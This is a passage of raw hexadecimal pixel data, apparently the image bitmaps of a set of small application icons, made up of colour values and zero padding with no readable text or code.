F400FCFCF700FBF7F400FAF6F100F8F4EE00F8F4EE00F5EBE700F5EBE700F5EB
E700F2E7DE00FFFFFF00B8825E00000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000E1A26E00E1A26E00E1A26E00E1A26E00E1A26E00E1A26E00E1A26E00E1A2
6E00E1A26E00000000000000000000000000E8C4A600FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FCFCFA00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00D1AD950000000000D9A27800FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00BC866200000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000E8C4A600E8C4A600E8C4A600E8C4
A600E8C4A600E8C4A600E8C4A600E8C4A600E8C4A600E8C4A600E8C4A600E8C4
A600E8C4A600E8C4A600D7B49A0000000000D9A27800DCA57900D9A27800D9A2
7800D9A27800D9A27800DCA57900D9A27800DCA57900D9A27800DCA57900D9A2
7800DCA57900D9A27800C28D6700000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000E8C8AE00F0D0B600F0D0B600F0D0
B600F0D0B600F0D0B600F0D0B600F0D0B600F0D0B600F0D0B600F0D0B600F0D0
B600F0D0B600F0D0B600D7B49A0000000000DDAB8400E8B89100E8B89100E8B8
9100E8B89100E8B89100E8B89100E8B89100E8B89100E8B89100E8B89100E8B8
9100E8B89100E8B89100C08F6F00000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000E7D7CF00E9CDB600E8C4A600E8C4
A600E3C0A400E3C0A400E3C0A400E1BDA200E1BDA200DCB99E00DCB99E00DCB9
9E00DCB99E00D9BEAA00E7D7CF000000000000000000DEB39000DCA57900DCA5
7900DCA57900D9A27800D9A27800D9A27800D29C7200D29C7200CE986F00CE98
6F00C8926B00C59D7E0000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000681
2900000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000014863100037A
1D00000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000014853F003B9F
5B00088637000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000148B3A0042A0
5E0033944B000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000497253008EA5940000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000002E93460046A4660081C1
960046A466001990470000000000000000000000000000000000000000000000
00000000000000000000219651001B904900158E4300148B3A00399E5D007FC0
950045A261002E93460000000000000000000000000000000000000000005C7D
5C005C7D5C00567656005676560000000000000000005C7D5C005C7D5C005676
5600567656000000000000000000000000000000000000000000000000000000
000049725300598B66008EA59400000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000033944B0046A4660081C1960066B4
810089C6A0004EAA73002797560000000000000000000000000075B0E5003D8F
DB00328AD900328AD900289A5A008FCAA8008DC9A50089C6A00087C49D0069B5
840081C1960045A2610014853F00000000000000000000000000000000005C7D
5C007CA07C0088A888005676560000000000000000005C7D5C007CA07C0088A8
8800567656000000000000000000000000000000000000000000000000000000
00004D7858007EAC8A00598B66008EA594000000000000000000000000000000
000000000000000000000000000000000000000000000000000075B0E5003D8F
DB00328AD900328AD900328AD900037A1D0042A05E007FC0950069B5840060B2
7F0073BB8F0090CBA90059B28000309E6400000000004698DC00DEF0FA00A6DD
F4009DDBF40095DAF300309E620093CDAC006EB98D006AB7880065B5840060B2
7F0065B5840081C196003B9F5B00068129000000000000000000000000005F81
5F0080A280008CAB8C005C7D5C0000000000000000005F815F0080A280008CAB
8C005C7D5C000000000000000000000000000000000000000000000000000000
0000527F5D0081AE8C007EAC8A005C90690085A08C0000000000000000000000
000000000000000000000000000000000000000000004698DC00DEF0FA00A6DD
F4009DDBF40095DAF3008DD8F30008863700088637003B9F5B0087C49D0066B4
81008FCAA80054AE7B0033A36D003BA77500000000003A96DB00EEFAFE00A1E9
F90091E5F80080E1F70036A26A0093CDAC0093CDAC0093CDAC008DC9A50073BB
8F0089C6A00045A2610008863700000000000000000000000000000000006285
620080A2800091AE91005C7D5C0000000000000000006285620080A2800091AE
91005C7D5C000000000000000000000000000000000000000000000000000000
0000598B66008AB495007AAA860081AE8C005C90690085A08C00000000000000
000000000000000000000000000000000000000000003A96DB00EEFAFE00A1E9
F90091E5F80080E1F70071DEF60064DBF50053D7F4000F8B3B0089C6A0006AB7
880090CBA9002F9D62003A96DB0000000000000000003A9ADA00F1FAFD00B2ED
FA00A1E9F90091E5F8003CA46E003CA46E0033A168002F9D620054AE7B0093CD
AC004EAA73001B9049003A9ADA00000000000000000000000000000000006285
62008CAB8C0096B296005C7D5C000000000000000000628562008CAB8C0096B2
96005C7D5C000000000000000000000000000000000000000000000000000000
000060956E008EB698007EAC8A007EAC8A0081AE8C0060956E00819F89000000
000000000000000000000000000000000000000000003A9ADB00F1FAFD00B2ED
FA00A1E9F90091E5F80080E1F70075DEF60064DBF500158F43008DC9A5006EB9
8D0090CBA90033A36D003A9ADB00000000000000000039A1DA00F1FAFD00C8F2
FC00B8EFFB00ABECFA009BE8F9008AE3F7007BE0F6006BDCF60036A26A0059B2
800021965100D0F3FC0039A1DA00000000000000000000000000000000006285
620096B2960096B296005F815F0000000000000000006285620096B2960096B2
96005F815F000000000000000000000000000000000000000000000000000000
0000689E760095BB9F0081AE8C0085B190008AB495006299700061876B000000
0000000000000000000000000000000000000000000039A1DA00F1FAFD00C8F2
FC00B8EFFB00ABECFA00A1E9F9008AE3F7007BE0F6001B9149008FCAA80090CB
A90095CEAF0037A36E0039A1DA00000000000000000039A1DA00FFFFFF00FFFF
FF00F1FAFD00FFFFFF00F1FAFD00DEF0FA0091E5F80080E1F7003BA77500309E
62005BD8F400DEF0FA0039A5DA00000000000000000000000000000000007399
73009EB89E009EB89E00628562000000000000000000739973009EB89E009EB8
9E00628562000000000000000000000000000000000000000000000000000000
000073A580009ABEA30095BB9F0095BB9F0071A47E0092B09900000000000000
0000000000000000000000000000000000000000000039A1DA00FFFFFF00FFFF
FF00F1FAFD00FFFFFF00EEFAFE00DEF0FA0091E5F80021975100289A5A00309E
640037A36E0037A36E0039A1DA00000000000000000037ABDA00E9F6FB0093D4
EF0087CEEE0072C0E900C9E9F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00EEFA
FE00EEFAFE00FFFFFF003BACDB00000000000000000000000000000000007399
730096B29600A3BCA3006285620000000000000000007399730096B29600A3BC
A300628562000000000000000000000000000000000000000000000000000000
00007AAA8600A0C2A9009DC0A6007EAC8A009ABEA30000000000000000000000
0000000000000000000000000000000000000000000037ABDA00E9F6FB0093D4
EF0087CEEE0072C0E900C9E9F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00F1FA
FD00EEFAFE00FFFFFF003BACDB0000000000000000003BACDB00F1FAFD0095DA
F30095DAF30080D5F20069CAED006BCBEA0084D3EF0080D5F20079D0EF0075CF
EE0075CFEE00E9F6FB003CB0DB00000000000000000000000000000000007CA0
7C009EB89E00A8BFA8006A916A0000000000000000007CA07C009EB89E00A8BF
A8006A916A000000000000000000000000000000000000000000000000000000
000081AE8C00A0C2A9008AB49500B0CCB7000000000000000000000000000000
000000000000000000000000000000000000000000003BACDB00F1FAFD0095DA
F30095DAF30080D5F20069CAED006BCBEA0084D3EF0080D5F20079D0EF0075CF
EE0075CFEE00E9F6FB003CB0DB0000000000000000003FB2DC00F1FAFD008DE4
F8008AE3F7009EE0F500ABE1F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00EEFA
FE00EEFAFE00FFFFFF0055BEDF000000000000000000000000000000000080A2
8000A3BCA300A8BFA80073997300000000000000000080A28000A3BCA300A8BF
A800739973000000000000000000000000000000000000000000000000000000
00008AB4950085B19000BBD3C100000000000000000000000000000000000000
000000000000000000000000000000000000000000003FB2DC00F1FAFD008DE4
F8008AE3F7009EE0F500ABE1F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00EEFA
FE00EEFAFE00FFFFFF0057BBE00000000000000000003CB0DB00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00EEFAFE006EC8E3006EC8E3006EC8E3006EC8
E3007CCEE60080D5F20000000000000000000000000000000000000000008CAB
8C00A8BFA800B2C7B2007CA07C0000000000000000008CAB8C00A8BFA800B2C7
B2007CA07C000000000000000000000000000000000000000000000000000000
00008EB69800BBD3C10000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000003CB0DB00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00EEFAFE006EC8E3006EC8E3006EC8E3006EC8
E3007CCEE60080D5F20000000000000000000000000058C1E00061C2E10061C2
E10061C2E10061C2E10058C1E00058C1E0000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000091AE
910091AE91008CAB8C0080A28000000000000000000091AE910091AE91008CAB
8C0080A280000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000058C1E00061C2E10061C2
E10061C2E10061C2E10058C1E00058C1E0000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000929292008C8C8C0000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000E4D3C800DAC0B100CFAE
9900CFAE9900CFAE9900CFAE9900CFAE9900CFAE9900CFAE9900CFAE9900CFAE
9900CFAE9900D1B09C00E2D1C600000000000000000000000000000000000000
000000000000000000009E9E9E00C9C9C900C0C0C0001E3EA4001C43B5001C43
B500163EAB00163EAB00163EAB00000000000000000000000000000000004F4C
F2FF4140EDFF0000000000000000000000000000000000000000000000002725
E4FF312FEAFF000000000000000000000000EBC8AA00E7BF9E00E7BF9E00E0B6
9400DDB18E00D9AD8900D6A88400D3A47E00D09F7A00CD9B7500CD9B7500C794
6D00C7946D00C38F6700C38F6700C797720000000000D2B4A100F1EFED00F6F3
F100F8F4F000F8F4F000F6F3F100F6F3F100F8F3EF00F8F3EF00F8F3EF00F8F3
EF00F8F3EF00F1EFED00D1B09C00000000000000000000000000BEBEBE008484
84008484840000000000A0A0A000D5D5D500D5D5D5002241B2003E40EA00333B
E8002E39E5002E39E500133BA8000000000000000000000000005856F5FF6361
FAFF5855F6FF4341EDFF000000000000000000000000000000002E2DE6FF413F
F1FF4C4AF6FF312FEAFF0000000000000000EBC8AA00E8D4C500E7D3C400E7D3
C400E5CEBD00E5CEBD00E5CEBD00E3CAB800E3CAB800E0C4B200DFC3B000DFC3
B000DFC3B000DFC3B000DFC3B000C38F670000000000CFAA9200F8F3EF00BEDC
C100BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDC
C100BEDCC100F6EDE600CFAE9900000000000000000000000000C9C9C900E4E4
E400B6B6B6009E9E9E009E9E9E00C9C9C900D5D5D5002241B2004948ED003A3B
EA00343BE800343BE800163EAB000000000000000000000000005B58F6FF6562
FAFF7170FFFF5956F6FF4442EEFF00000000000000003734E9FF4745F2FF6362
FFFF4A48F4FF2F2DE9FF0000000000000000F2D1B100EAD8CC00FEFEFE00D9B7
A000FEFEFE00FEFEFE00FEFEFE00FEFEFE00FEFEFE00FEFEFE00FEFEFE00FEFE
FE00CCA08100FEFEFE00DEC1AD00C38F670000000000CFAA9200F8F3EF00BEDC
C100BEDCC100BEDCC100AED3C4009BC8C9006DAED100BEDCC100BEDCC100BEDC
C100BEDCC100F6EDE600CFAE9900000000000000000000000000B6B6B600DDDD
DD00D5D5D500D5D5D500DDDDDD00D5D5D500D5D5D500324DC6005C59EF004948
ED00403FEA003E40EA001C43B500000000000000000000000000000000005B59
F6FF6663FAFF7471FFFF5A58F6FF4543EEFF403EECFF504DF4FF6867FFFF504E
F5FF3634EBFF000000000000000000000000F2D1B100ECDCD100DFC3B000DEC1
AD00D9B8A200D9B7A000D7B59D00D7B59D00D3AD9300D3AD9300D0A78B00D0A7
8B00CDA28400CDA28400E0C4B200C7946D0000000000CFAA9200F8F3EF004BA7
76004BA776004BA77600347A9900539ED200539ED2003E85AE003F9966003D97
64003D976400F6EDE600CFAE9900000000000000000000000000DDDDDD00D5D5
D500C9C9C900C9C9C900D5D5D500B6B6B600B6B6B600324DC600706DF0006462
EE005757EE005453ED001E40BA00000000000000000000000000000000000000
00005C5AF6FF6764FAFF7472FFFF7370FFFF706EFFFF6E6CFFFF5755F7FF3F3D
EEFF00000000000000000000000000000000F8D8BA00ECDCD100FEFEFE00FEFE
FE00DEC1AD00FEFEFE00D9B8A200FEFEFE00D7B59D00FEFEFE00D3AD9300FEFE
FE00FEFEFE00FEFEFE00E0C4B200CD9B750000000000CFAA9200F8F3EF00E8BC
A000E8BCA000D0B291005D817500438D8500438D850055827F00C7A58100E0AD
8D00E0AD8D00F6EDE600CFAE990000000000C0C0C000ABABAB00B6B6B600D5D5
D500D5D5D500DDDDDD00BEBEBE0000000000000000003C4FC100384ECB00364C
C700324DC6002C47BC002241B200848484000000000000000000000000000000
0000000000005D5BF7FF7976FFFF5956FFFF5754FFFF7270FFFF4846F0FF0000
000000000000000000000000000000000000F8D8BA00EFE2D800E3CAB800E3CA
B800DFC3B000DFC3B000DFC3B000D9B8A200D9B8A200D9B8A200D7B59D00D5B0
9600E9D6C900FEFEFE00E3CAB800CD9B750000000000CFAA9200F8F3EF00E8BC
A000D0B291009EA977006EB1860064BC890060BA86006AAA7A0090926300C4A1
7C00DDA88700F6EDE600CFAE990000000000C9C9C900E9E9E900DDDDDD00D5D5
D500D5D5D500BEBEBE0000000000000000000000000000000000BEBEBE00C9C9
C900C0C0C000D1D1D100DDDDDD00777777000000000000000000000000000000
0000000000005E5BF6FF7D79FFFF5E5BFFFF5B58FFFF7674FFFF4744EFFF0000
000000000000000000000000000000000000FCDEC000EFE2D800FEFEFE00E5CE
BD00FEFEFE00DFC3B000FEFEFE00DFC3B000FEFEFE00DEC1AD00FEFEFE00D8B5
9D00FEFEFE00F7F3F000E5CEBD00D3A47E0000000000CFAA9200F8F3EF00E4B6
9900B5B2860087C1920062C48E0052BD7F004EB9790052BD7F0077AF7B00A295
6900DDA88700F6EDE600CFAE990000000000D5D5D500E9E9E900DDDDDD00D5D5
D500DDDDDD00B6B6B60000000000000000000000000000000000BEBEBE00D5D5
D500C9C9C900D1D1D100E4E4E400808080000000000000000000000000000000
00006865F9FF706DFBFF807EFFFF7E7BFFFF7C79FFFF7977FFFF5E5CF7FF4946
EFFF00000000000000000000000000000000FCDEC000EFE2D800EEE0D600EEE0
D600EEE0D600EEE0D600ECDCD100ECDCD100ECDCD100EAD8CC00EAD8CC00EAD8
CC00E7D3C400E7D3C400E7D3C400D3A47E0000000000CFAA9200F6F3F100E8BC
A000A0B27E007CCD9F005DC48F0055BF860055BF860052BD7F006BBC8600888F
5D00DAA38000F6EDE600D1B09C0000000000DDDDDD00D5D5D500D5D5D500DDDD
DD00D5D5D500C9C9C900ABABAB000000000000000000B6B6B600C9C9C900C9C9
C900DDDDDD00A0A0A000A0A0A000ABABAB00000000000000000000000000706D
FCFF7774FDFF8682FFFF7673FCFF6462F8FF605DF7FF6D6AFAFF7B79FFFF605D
F7FF4A47EFFF000000000000000000000000FCE1C600FCDEC000BAB8B500B2B0
AD00F8D8BA00F8D8BA00F8D8BA00F2D1B100EBC8AA00EBC8AA00EAC4A300E7BF
9E00E7BF9E00E0B69400D9AD8900E0B6940000000000CFAA9200F6F3F100E3B4
9600A2B57F0081D0A50064C997005DC48F0055BF860055BF860070C18D008B91
5E00DAA38000F6EDE600D0AE9800000000000000000000000000E4E4E400DDDD
DD00D5D5D500D5D5D500C9C9C900ABABAB00B6B6B600C9C9C900D5D5D500D5D5
D500C0C0C000C9C9C900000000000000000000000000000000007572FEFF7D7A
FEFF8A87FFFF7C79FDFF6C69FBFF0000000000000000615EF8FF6E6CFAFF7D7A
FFFF615FF7FF4B48F0FF00000000000000000000000000000000C3C3C300D1D1
D100000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000CFAA9200F6F3F100E4B6
9900B5B2860092CCA00073D2A70066CB9A0064C9970069C9970082BA8A00A498
6900D69C7600F8F3EF00D0AE9800000000000000000000000000D5D5D500E4E4
E400DDDDDD00E4E4E400E4E4E400DDDDDD00DDDDDD00E4E4E400DDDDDD00D5D5
D500D5D5D50092929200000000000000000000000000000000007A77FFFF817E
FFFF817EFEFF7471FDFF00000000000000000000000000000000625FF8FF6F6D
FBFF7E7CFFFF625FF8FF00000000000000000000000000000000D1D1D100C9C9
C900000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000D1B09C00F6F3F100E3B4
9600D0B29100A8B47F0092CCA00083D1A90081D0A5008AC19300999D6800C29C
7200D69C7600F8F3EF00D0AE9800000000000000000000000000E4E4E400E9E9
E900E4E4E400D5D5D500C9C9C900DDDDDD00DDDDDD00BEBEBE00BEBEBE00D5D5
D500E9E9E900C0C0C00000000000000000000000000000000000000000007A77
FFFF7976FEFF0000000000000000000000000000000000000000000000006461
F8FF6A68F9FF000000000000000000000000000000000000000000000000D1D1
D100D1D1D100C9C9C900C9C9C900C7C7C700D1D1D10000000000000000000000
00000000000000000000000000000000000000000000D2B4A100ECECEB00F6F3
F100F6F3F100F6F3F100F6F3F100F6F3F100F6F3F100F6F3F100F6F3F100F6F3
F100F8F3EF00F6EDE600D1B09C00000000000000000000000000E9E9E900DDDD
DD00D5D5D50000000000D5D5D500E4E4E400E4E4E400C0C0C00000000000C0C0
C000BEBEBE00D1D1D10000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000E4D3C800D3B7A600D1B0
9C00CFAA9200CFAA9200CFAA9200D0AE9800CFAA9200D0AE9800CFAA9200CFAA
9200CFAA9200D1B09C00E2D1C600000000000000000000000000000000000000
00000000000000000000D5D5D500E9E9E900E9E9E900C0C0C000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000E4E4E400DDDDDD0000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000225B
C0000441BB001E58BF0000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000081AE91002371
4000186A36002371400081AE910000000000D6AA8D00CC936E00BB724100B668
3400B6683400B6683400AF643200AF643200AF643200AF643200A7603100AF64
3200A65F3000A65F3000A9673B00BB845F000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000008BAAE0002765C9002076
E6000578EA000163DD00064EBC00000000000000000000000000000000000000
0000000000000000000000000000000000000000000087B19600278B520063B9
8C0094D2B10063B98C00278B520081AE9100C27C4E00EAC4AC00EAC4AC00FEFA
F800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFA
F800FEFAF800C8997B00C7977800AC6A3E000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000030
0F0000300F000000000000300F0000300F00000000000000000075B0E5003D8F
DB00328AD900328AD900328AD900328AD900328AD900064EBC00629CF400177E
FF000075F8000075EE000367E1001D57BF00000000000000000075B0E5003D8F
DB00328AD900328AD900328AD900328AD900328AD9001B6C3D0063B98C005FB8
8600FFFFFF005FB8860063B98C001F6E3C00B9693500EDCAB200E1A17900FEFA
F80061BF870061BF870061BF870061BF870061BF870061BF870061BF870061BF
8700FEFAF800C98C6400C8997B00A65F30008080800080808000808080008080
8000808080008080800080808000808080008080800080808000808080008080
80000000000000300F000000000000000000000000004698DC00DEF0FA00A6DD
F4009DDBF40095DAF3008DD8F30085D7F3007ED4F2000441BB00ADCDFE00FFFF
FF00FFFFFF00FFFFFF00177EEF000441BB00000000004698DC00DEF0FA00A6DD
F4009DDBF40095DAF3008DD8F30085D7F3007ED4F200307A4B009BD4B500FFFF
FF00FFFFFF00FFFFFF0094D2B100186A3600B9693500EDCAB200E1A17900FEFA
F800BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDCC100BEDC
C100FEFAF800C98C6400CC9D8000A76031008080800080808000808080008080
8000808080008080800080808000808080008080800080808000808080008080
80000000000000300F000000000000000000000000003A96DB00EEFAFE00A1E9
F90091E5F80080E1F70071DEF60062DAF50053D7F4000C56C0008CB4F6004C91
FF001176FF002085FF003F89EB00225BC000000000003A96DB00EEFAFE00A1E9
F90091E5F80080E1F70071DEF60062DAF50053D7F400438861008FD3B00094D2
B100FFFFFF0063B98C0063B98C001F6E3C00BA6C3900EED0B900E1A17900FEFA
F80061BF870061BF870061BF870061BF870061BF870061BF870061BF870061BF
8700FEFAF800CC936E00CEA28300AF6432008080800080808000FFFFFF00FFFF
FF00FFFFFF0080808000FFFFFF00FFFFFF00FFFFFF0080808000808080008080
80000000000000300F000000000000000000000000003A9BDB00F1FAFD00B2ED
FA00A1E9F90091E5F80080E1F70075DEF60062DAF5003A9BDB003774D2008CB4
F600B7D6FE0071A7F5002C6BCB0000000000000000003A9BDB00F1FAFD00B2ED
FA00A1E9F90091E5F80080E1F70075DEF60062DAF50053B2AD0060AA800094D2
B100B9E6D00069BA8E002C8E560081AE9100B9693500EED0B900E1A17900FEFA
F800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFAF800FEFA
F800FEFAF800D3956C00D2A68900A760310080808000FFFFFF00808080008080
8000FFFFFF0080808000FFFFFF008080800080808000FFFFFF00808080008080
80000000000000300F0000000000000000000000000039A2DA00F1FAFD00C8F2
FC00B8EFFB00ABECFA00A1E9F9008AE3F7007BE0F6006BDCF6003A9BDB00155C
C5000441BB001958C0001F75CA00000000000000000039A2DA00F1FAFD00C8F2
FC00B8EFFB00ABECFA00A1E9F9008AE3F7007BE0F6006BDCF6005AB6B3005796
74004E8D650043886100348C920000000000B9693500F0D2BD00E1A17900E1A1
7900E1A17900E1A17900E1A17900E0A07700DE9E7500DE9E7500DE9E7500D698
6F00D6986F00D6986F00D6AA8D00AF6432008080800080808000FFFFFF00FFFF
FF00FFFFFF0080808000FFFFFF008080800080808000FFFFFF00808080008080
80000000000000300F0000000000000000000000000039A2DA00FFFFFF00FFFF
FF00F1FAFD00FFFFFF00EEFAFE00DEF0FA0091E5F80084E2F70075DEF6006BDC
F6005BD8F400D7F4FC0039A2DA00000000000000000039A2DA00FFFFFF00FFFF
FF00F1FAFD00FFFFFF00EEFAFE00DEF0FA0091E5F80080E1F70075DEF6006BDC
F6005BD8F400DEF0FA0037ABDA0000000000B9693500F2D5C100E1A17900E1A1
7900E1A17900E1A17900E1A17900E1A17900E0A07700DE9E7500DE9E7500DE9E
7500DE9E7500D6986F00DAAF9400AF6432008080800080808000808080008080
8000FFFFFF0080808000FFFFFF008080800080808000FFFFFF00808080008080
80000000000000300F0000000000000000000000000037ABDA00E9F6FB0093D4
EF0087CEEE0072C0E900C9E9F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00EEFA
FE00EEFAFE00FFFFFF003BACDB00000000000000000037ABDA00E9F6FB0093D4
EF0087CEEE0072C0E900C9E9F600EEFAFE00F1FAFD00F1FAFD00F1FAFD00EEFA
FE00EEFAFE00FFFFFF003BACDB0000000000B9693500F2D8C400E1A17900E1A1
7900E1A17900E1A17900E1A17900E1A17900E1A17900DE9E7500DE9E7500DE9E
7500D6986F00DE9E7500DDB49900AF6432008080800080808000FFFFFF00FFFF
FF008080800080808000FFFFFF00FFFFFF00FFFFFF0080808000808080008080
80000000000000300F000000000000000000000000003BACDB00F1FAFD0095DA
F30095DAF3007ED4F20069CAED0069CAED0085D7F3007FD2EF0079D0EF0075CF
EE0075CFEE00E9F6FB003CB0DB0000000000000000003BACDB00F1FAFD0095DA
F30095DAF3007ED4F20069CAED0069CAED0085D7F3007FD2EF0079D0EF0075CF
EE0075CFEE00E9F6FB003CB0DB0000000000B9693500F2D8C400E8A77D00C98C
6400C98C6400CD8F6700CC936E00CC936E00C98C6400C98C6400C88B6300C98C
6400C98C6400DE9E7500DDB49900B66834008080800080808000808080008080
80008080800080808000FFFFFF00808080008080800080808000808080008080
80000000000000300F000000000000000000000000003FB2DC00F1FAFD008DE4
F8008AE3F7009EE0F500ABE1F600F1FAFD00F1FAFD00F1FAFD00F1FAFD00EEFA
FE00EEFAFE00FFFFFF0057BBE00000000000000000003FB2DC00F1FAFD008DE4
F8008AE3F7009EE0F500ABE1F600F1FAFD00F1FAFD00F1FAFD00F1FAFD00EEFA
FE00EEFAFE00FFFFFF0057BBE00000000000B9693500F4DCC900E8A77D00F9EC
E100F9ECE100F9ECE100FCF4EE00FEFAF800FEFAF800F9ECE100F6E5D900F6E5
D900F6E5D900DE9E7500E4BDA300B66834008080800080808000808080008080
80008080800080808000FFFFFF00808080008080800080808000808080008080
80000000000000300F000000000000000000000000003CB0DB00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00EEFAFE006EC8E3006EC8E3006EC8E3006EC8
E3007CCEE6007FD2EF000000000000000000000000003CB0DB00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00EEFAFE006EC8E3006EC8E3006EC8E3006EC8
E3007CCEE60079D0EF000000000000000000BA6C3900F4DCC900E8A77D00FCF4
EE00F9ECE100C98C6400FCF4EE00FCF4EE00FEFAF800FCF4EE00F8E8DE00F6E5
D900F6E5D900E0A07700E7C1A800B66834008080800080808000808080008080
8000808080008080800080808000808080008080800080808000808080008080
80000000000000300F0000000000000000000000000058C1E00061C2E10061C2
E10061C2E10061C2E10061C2E10055BEDF000000000000000000000000000000
0000000000000000000000000000000000000000000058C1E00061C2E10061C2
E10061C2E10061C2E10061C2E10055BEDF000000000000000000000000000000
000000000000000000000000000000000000BE724100F6E0D100E8A77D00FCF6
F100FCF6F100C98C6400F9ECE100FCF6F100FEFAF800FEFAF800FAF0E900F8E8
DE00F6E5D900E1A17900EFD5C200B66834008080800080808000808080008080
8000808080008080800080808000808080008080800080808000808080000030
0F0000300F000000000000300F0000300F000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000C5805300F6E0D100E9A97F00FEFA
F800FEFAF800C98C6400FCF6F100FCF4EE00FCF4EE00FEFAF800FCF6F100F9EC
E100F8E7DB00EED0B900EED0B900BB7241000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000D2A68900F4DCC900F6E0D100FEFA
F800FEFAF800FEFAF800FCF4EE00FAF0E900FCF4EE00FEFAF800FEFAF800FCF4
EE00F8E8DE00EED0B900CC936E00000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
